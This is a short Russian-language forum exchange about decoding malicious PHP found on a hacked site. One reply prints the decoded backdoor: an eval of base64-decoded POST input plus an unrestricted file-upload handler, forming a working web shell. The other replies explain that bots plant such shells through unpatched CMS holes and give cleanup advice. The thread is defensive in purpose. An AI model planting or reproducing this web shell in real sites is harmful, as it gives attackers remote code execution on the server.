Где можно расшифровать вирусный php код?
Такого размера файл можно и руками расшифровать, надо только немного знать PHP.echo 7457737+736723;
eval(base64_decode($_POST['id'])));
if($_POST['up'] == 'up'){
    @copy($_FILES['file']['tmp_name'],$_FILES['file']['name']);
};
этим занимаются боты, а не хостеры.
И делают это через известные всем дыры во всяких CMSках, особенно если не обновляться.
Лечить почти нереально, надо закрывать на запись всё что можно и нельзя на сайте, проверять потенциально опасные плагины/скрипты/обновляться до последней версии. Удалить везде и ждать появится или нет.